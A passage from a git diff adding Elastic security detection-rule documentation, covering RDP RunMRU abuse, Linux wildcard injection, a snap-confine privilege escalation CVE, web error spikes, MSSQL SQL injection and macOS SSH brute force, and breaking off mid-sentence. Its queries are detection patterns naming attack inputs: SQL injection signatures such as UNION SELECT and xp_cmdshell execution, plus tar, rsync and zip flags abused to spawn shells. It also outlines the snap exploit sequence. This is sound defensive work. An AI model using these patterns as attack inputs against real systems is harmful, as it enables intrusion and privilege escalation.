telemetry on RDP targets, and document any adjacent detection gaps for the detection engineering team. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +/* Incoming RDP followed by a new RunMRU string value set to cmd, powershell, taskmgr or tsclient, followed by process execution within 1m */ + +sequence by host.id with maxspan=1m + [network where host.os.type == "windows" and event.type == "start" and process.name : "svchost.exe" and destination.port == 3389 and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.ip != "127.0.0.1" and source.ip != "::1" + ] + + [registry where host.os.type == "windows" and event.type == "change" and process.name : "explorer.exe" and + registry.path : ("HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\\*") and + registry.data.strings : ("cmd.exe*", "powershell.exe*", "taskmgr*", "\\\\tsclient\\*.exe\\*") + ] + + [process where host.os.type == "windows" and event.type == "start" and + (process.parent.name : ("cmd.exe", "powershell.exe", "taskmgr.exe") or process.args : ("\\\\tsclient\\*.exe")) and + not process.name : "conhost.exe" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shell-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shell-via-wildcard-injection-detected.asciidoc new file mode 100644 index 0000000000..e8249a9bab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shell-via-wildcard-injection-detected.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-shell-via-wildcard-injection-detected]] +=== Potential Shell via Wildcard Injection Detected + +This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/papers/33930 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Shell via Wildcard Injection Detected* + + +Wildcard injection exploits vulnerabilities in Linux command-line utilities by manipulating wildcard characters to execute unauthorized commands. Adversaries leverage this to escalate privileges or execute arbitrary code. The detection rule identifies suspicious use of vulnerable binaries like `tar`, `rsync`, and `zip` followed by shell execution, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed, focusing on the process name and arguments, especially those involving `tar`, `rsync`, or `zip` with suspicious flags like `--checkpoint=*`, `-e*`, or `--unzip-command`. +- Examine the parent process information to determine if a shell process (e.g., `bash`, `sh`, `zsh`) was spawned, indicating potential exploitation. +- Check the process execution path to ensure it does not match the exclusion pattern `/tmp/newroot/*`, which might indicate a benign operation. +- Investigate the host's recent activity logs to identify any other suspicious or related events that might indicate a broader attack or compromise. +- Correlate the alert with any other security events or alerts from the same host to assess if this is part of a larger attack pattern or campaign. +- Assess the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with expected behavior for that account. + + +*False positive analysis* + + +- Legitimate use of tar, rsync, or zip with wildcard-related flags in automated scripts or backup processes can trigger false positives. Review the context of these processes and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- System administrators or maintenance scripts may use shell commands following tar, rsync, or zip for legitimate purposes. Identify these routine operations and create exceptions for known safe parent processes or specific command patterns. +- Development environments or testing scenarios might involve intentional use of wildcard characters for testing purposes. Exclude these environments from the rule or adjust the rule to ignore specific user accounts or process paths associated with development activities. +- Scheduled tasks or cron jobs that involve the use of these binaries with wildcard flags can be mistaken for malicious activity. Verify the legitimacy of these tasks and exclude them based on their schedule or specific command line arguments. +- Security tools or monitoring solutions that simulate attacks for testing or validation purposes might trigger this rule. Ensure these tools are recognized and excluded from monitoring to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, particularly those involving the execution of shell commands following the use of `tar`, `rsync`, or `zip`. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or unauthorized access attempts. +- Restore the affected system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement file integrity monitoring on critical systems to detect unauthorized changes to system binaries or configuration files. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and ( + (process.name == "tar" and process.args : "--checkpoint=*" and process.args : "--checkpoint-action=*") or + (process.name == "rsync" and process.args : "-e*") or + (process.name == "zip" and process.args == "--unzip-command") + ) and not ( + process.executable like "/tmp/newroot/*" or + process.working_directory like ("/home/*/.steam/*", "/home/*/steam/*", "/home/*/.local/share/Steam") + ) + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name : ("tar", "rsync", "zip") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc new file mode 100644 index 0000000000..53aafb2c03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-potential-snap-confine-privilege-escalation-via-cve-2026-3888]] +=== Potential snap-confine Privilege Escalation via CVE-2026-3888 + +This rule detects non-root file creation within "/tmp/.snap" or its host backing path "/tmp/snap-private-tmp/*/tmp/.snap", which may indicate exploitation attempts related to CVE-2026-3888. In vulnerable Ubuntu systems, the snap-confine utility normally creates the "/tmp/.snap" directory as root when initializing a snap sandbox. The vulnerability arises when systemd-tmpfiles deletes this directory after it becomes stale, allowing an unprivileged user to recreate it and populate attacker-controlled files. During subsequent snap sandbox initialization, snap-confine may bind-mount or trust these attacker-controlled paths, enabling manipulation of libraries or configuration files that can lead to local privilege escalation to root. Because legitimate creation of ".snap" directories should only be performed by root, non-root file activity in these locations is highly suspicious. This detection helps identify early stages of the exploit before privilege escalation is completed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root +* https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2026-3888 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential snap-confine Privilege Escalation via CVE-2026-3888* + + +This rule flags non-root creation of files under temporary snap sandbox directories that snap-confine should prepare as root, which can expose an attempt to abuse CVE-2026-3888 for local root access. A common pattern is an unprivileged user waiting for stale `/tmp/.snap` content to be removed, recreating that path, and dropping crafted libraries or configuration so the next snap launch pulls attacker-controlled files into the sandbox setup and elevates privileges. + + +*Possible investigation steps* + + +- Review the originating user's recent terminal, SSH, sudo, and scheduled-task activity to determine whether the file creation was part of legitimate administration or an unexpected local execution chain. +- Inspect the affected `.snap` directory contents for crafted symlinks, shared libraries, configuration files, or path redirection artifacts that could be consumed during snap sandbox initialization. +- Correlate the activity with nearby launches of `snap`, `snap-confine`, `snapd`, or installed snap applications and determine whether any such execution was followed by a new root-level process tree. +- Look for evidence that `systemd-tmpfiles` or another cleanup mechanism removed the stale directory shortly before it was recreated by the unprivileged account, as this timing strongly supports CVE-2026-3888 exploitation behavior. +- Examine post-alert host activity for signs of successful escalation such as unexpected root-owned file changes, new setuid binaries, persistence creation, credential access, or security control tampering. + + +*False positive analysis* + + +- A user troubleshooting a failing snap application may manually create or modify files under `/tmp/.snap` or `/tmp/snap-private-tmp/*/tmp/.snap`; verify by reviewing the parent shell/process lineage and nearby `snap` or `snap-confine` executions to confirm it was interactive testing with no follow-on root activity. +- Telemetry can occasionally attribute file creation to the invoking non-root user during normal snap sandbox initialization even though the privileged helper completes the action; verify by checking whether related `snap` or `snap-confine` events occurred at the same time and whether the final directory and files are owned by root. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, stop any active `snap`, `snap-confine`, or suspicious root shell processes tied to the originating user, and preserve the contents of `/tmp/.snap` or `/tmp/snap-private-tmp/*/tmp/.snap` for evidence. +- Remove attacker-controlled files, symlinks, shared libraries, and configuration placed in the recreated `.snap` paths, then delete any persistence added after the event such as unauthorized `systemd` units, `/etc/cron*` entries, `~/.ssh/authorized_keys` changes, sudoers modifications, new local accounts, or unexpected setuid-root binaries. +- Escalate immediately to incident response and treat the host as fully compromised if you confirm a root-owned process tree descending from the unprivileged user, root-level file changes outside the temporary snap path, or tampering with `/etc/ld.so.preload`, PAM modules, or endpoint security agents. +- Restore the host to a known-good state by rebuilding or reimaging it when privilege escalation cannot be conclusively ruled out, or otherwise replace modified system files from trusted packages, rotate credentials exposed on the system, and verify correct root ownership and permissions on snap temporary directories before reconnecting it. +- Harden the environment by applying the vendor fix for CVE-2026-3888, updating `snapd` and related Ubuntu packages, restricting unnecessary local shell access, and increasing monitoring for non-root creation of files under `/tmp/.snap` and `/tmp/snap-private-tmp/*/tmp/.snap`. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path like ("/tmp/.snap*", "/tmp/snap-private-tmp/*/tmp/.snap*") and +user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-spike-in-web-server-error-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-spike-in-web-server-error-logs.asciidoc new file mode 100644 index 0000000000..3d0e976a76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-spike-in-web-server-error-logs.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-potential-spike-in-web-server-error-logs]] +=== Potential Spike in Web Server Error Logs + +This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Spike in Web Server Error Logs* + + +This detection flags spikes of web server error responses across HTTP/TLS and common server platforms, signaling active scanning or fuzzing that can expose misconfigurations or exploitable paths. A typical pattern is an automated scanner sweeping endpoints like /admin/, /debug/, /.env, /.git, and backup archives while mutating query parameters, producing repeated 404/403 and occasional 500 responses across multiple applications within minutes. + + +*Possible investigation steps* + + +- Pivot on the noisy client IP(s) to build a minute-by-minute timeline across affected hosts showing request rate, status codes, methods, and top paths to distinguish automated scanning from a localized application failure. +- Enrich the client with ASN, geolocation, hosting/Tor/proxy reputation, historical sightings, and maintenance windows to quickly decide if it matches a known external scanner or an internal scheduled test. +- Aggregate the most requested URIs and verbs and look for telltale patterns such as /.env, /.git, backup archives, admin consoles, or unusual verbs like PROPFIND/TRACE, then correlate any 5xx bursts with application and server error logs and recent deploys or config changes. +- Hunt for follow-on success from the same client by checking for subsequent 200/302s to sensitive paths, authentication events and session creation, or evidence of file writes and suspicious child processes on the web hosts. +- If traffic traverses a CDN/WAF/load balancer, pivot to those logs to recover true client IPs, review rule matches and throttling, and determine whether similar patterns occurred across multiple edges or regions. + + +*False positive analysis* + + +- Internal QA or integration tests that systematically crawl application routes after a deployment can generate bursts of 404/403 and occasional 500s from a single client IP, closely resembling active scanning. +- A transient backend outage or misconfiguration (broken asset paths or auth flows) can cause legitimate traffic to return many errors aggregated under a shared egress IP (NAT), pushing per-IP counts above the threshold without adversary activity. + + +*Response and remediation* + + +- Immediately block or throttle the noisy client IPs at the WAF/CDN and load balancer by enabling per-IP rate limits and signatures for scanner patterns such as repeated hits to /.env, /.git, /admin, backup archives, or unusual verbs like PROPFIND/TRACE. +- If errors include concentrated 5xx responses from one web host, drain that node from service behind the load balancer, capture its web and application error logs, and roll back the most recent deploy or config change until error rates normalize. +- Remove risky exposures uncovered by the scan by denying access to environment files and VCS directories (.env, .git), disabling directory listing, locking down admin consoles, and rejecting unsupported HTTP methods at the web server. +- Escalate to Incident Response if the same client shifts from errors to successful access on sensitive endpoints (200/302 to /admin, /login, or API keys), if you observe file writes under the webroot or suspicious child processes, or if multiple unrelated clients show the same pattern across regions. +- Recover service by redeploying known-good builds, re-enabling health checks, running smoke tests against top routes, and restoring normal WAF/CDN policies while keeping a temporary blocklist for the offending IPs. +- Harden long term by tuning WAF/CDN to auto-throttle bursty 404/403/500 patterns, disabling TRACE/OPTIONS where unused, minimizing verbose error pages, and ensuring logs capture the true client IP via X-Forwarded-For or True-Client-IP headers. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.error-*, logs-apache_tomcat.error-*, logs-apache.error-*, logs-iis.error-* +| keep + @timestamp, + event.type, + data_stream.dataset, + source.ip, + agent.id, + host.name, + data_stream.namespace + +| where source.ip is not null +| stats + Esql.event_count = count(), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.event_count > 50 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sql-injection-against-microsoft-sql-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sql-injection-against-microsoft-sql-server.asciidoc new file mode 100644 index 0000000000..be3f5e45cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sql-injection-against-microsoft-sql-server.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-potential-sql-injection-against-microsoft-sql-server]] +=== Potential SQL Injection Against Microsoft SQL Server + +Identifies potential SQL injection attempts against Microsoft SQL Server by detecting obfuscated T-SQL patterns in SQL Server Audit events. Attackers use CHAR concatenation, CONVERT-based subqueries, and CASE/UNION constructs to bypass input validation and extract data or execute unauthorized statements. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions +* https://owasp.org/www-community/attacks/SQL_Injection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Windows Application Event Logs +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SQL Injection Against Microsoft SQL Server* + + +Microsoft SQL Server can write audit records to the Windows Application log as event ID 33205 when SQL Server Audit is +enabled. Adversaries exploit SQL injection vulnerabilities in applications that query SQL Server, often using obfuscated +T-SQL such as CHAR concatenation or UNION-based payloads to evade simple signature checks. + + +*Possible investigation steps* + + +- Review `Esql.original_message` and `message` for the full audited statement, including the application name, client + address, database, and object targeted by the query. +- Identify the source application or service account associated with the audited session and determine whether it should + execute dynamic or user-supplied SQL against the affected database. +- Correlate with web server, application, or proxy logs around `@timestamp` to identify the HTTP request or client that + delivered the malicious input. +- Check for additional SQL Server Audit events (33205) from the same `host.id` or client address before and after the + alert for follow-on statements such as xp_cmdshell, credential access, or data exfiltration. +- Investigate other alerts on `host.id` during the past 48 hours for signs of post-exploitation or lateral movement. + + +*False positive analysis* + + +- Security scanners, penetration tests, or authorized application vulnerability assessments may generate matching audit + events. Confirm the activity aligns with an approved test window, source address, and application before closing as + benign. +- Custom applications that legitimately build dynamic SQL using CHAR concatenation are uncommon but possible. Review the + full statement context and application owner before adding exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If exploitation is confirmed, isolate the affected SQL Server or application tier, block the source IP at the + perimeter, and preserve SQL Server Audit and application logs for forensic analysis. +- Patch or remediate the vulnerable application code path that allowed unsanitized input to reach SQL Server. +- Review SQL Server permissions for the compromised application account and restrict access to only required databases + and objects. +- Ensure SQL Server is not directly exposed to the internet and that SQL Server Audit remains enabled with appropriate + retention. + + +==== Setup + + + +*Setup* + + +SQL Server Audit must be configured to write audit events to the Windows Application log so that event ID 33205 is +generated by the MSSQLSERVER provider (or MSSQL$ for named instances). + +Setup instructions: https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/create-a-server-audit-and-server-audit-specification + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.application-*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where host.os.type == "windows" and winlog.provider_name like "MSSQL*" and event.code == "33205" +| EVAL message_upper = TO_UPPER(message) +| where ( + message_upper RLIKE ".*CONVERT\\(INT,\\(SELECT (CHAR\\(\\d{1,3}\\)\\+){3,}.*" or + message_upper RLIKE ".*(CHAR\\(\\d{1,3}\\)\\+){3,}CHAR\\(\\d{1,3}\\).*" or + message_upper RLIKE ".*CASE WHEN \\(\\d+=\\d+\\).*UNION SELECT \\d+.*" or + message_upper RLIKE ".*WAITFOR DELAY \\'0:0:\\d+\\'.*" or + message_upper RLIKE ".*;\\s*(EXEC|EXECUTE)\\s*\\(?\\s*(MASTER\\.)?\\.?XP_CMDSHELL.*" or + message_upper RLIKE ".*UNION SELECT (NULL\\s*,\\s*){2,}NULL.*" or + message_upper RLIKE ".*'\\w*'\\s*\\+\\s*\\(\\(SELECT @@VERSION\\)\\)\\s*\\+\\s*'\\w*'.*" or + message_upper RLIKE ".*(OR|AND)\\s+'?\\d+'?\\s*=\\s*'?\\d+'?\\s*--.*" + ) +| eval Esql.original_message = message +| keep + @timestamp, + host.id, + host.name, + host.ip, + winlog.computer_name, + message, + event.outcome, + Esql.original_message, + _id, + _version, + _index, + data_stream.namespace + +| limit 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..ff98d4bdfc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-ssh-brute-force-detected-via-macos-security-events]] +=== Potential SSH Brute Force Detected via macOS Security Events + +Identifies a high number of failed inbound SSH authentication attempts on a macOS host within a short time window, using sshd authentication messages collected by the macOS Security Events integration. Adversaries may perform password brute force or password spraying against exposed SSH services to obtain unauthorized access. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: macOS +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SSH Brute Force Detected via macOS Security Events* + + +On macOS, the `sshd-session` process logs every failed authentication attempt to the unified log (`Failed password for`, `Failed keyboard-interactive/pam for`, +`PAM: authentication error for`), and connections that probe a non-existent username end with `Connection closed by invalid user`. +This rule counts these failure messages per host and alerts when the number reaches the threshold within the rule window. +Successful authentications are not counted. The rule extracts the targeted usernames and source IP addresses from the message text and reports them in the alert as `Esql.user_name_values` +and `Esql.source_ip_values`, with distinct counts in `Esql.user_name_count` and `Esql.source_ip_count`. + + +*Possible investigation steps* + + +- Review `Esql.event_count`, `Esql.user_name_values`, and `Esql.source_ip_values` in the alert to identify how many +attempts occurred and which accounts and sources were involved. +- Use `Esql.user_name_count` and `Esql.source_ip_count` to characterize the activity: many usernames from one source +indicates password spraying, one username from one source indicates password guessing, and one username from many +sources indicates a distributed attack. Check whether the targeted usernames exist on the host. +- Check whether any `Accepted` message 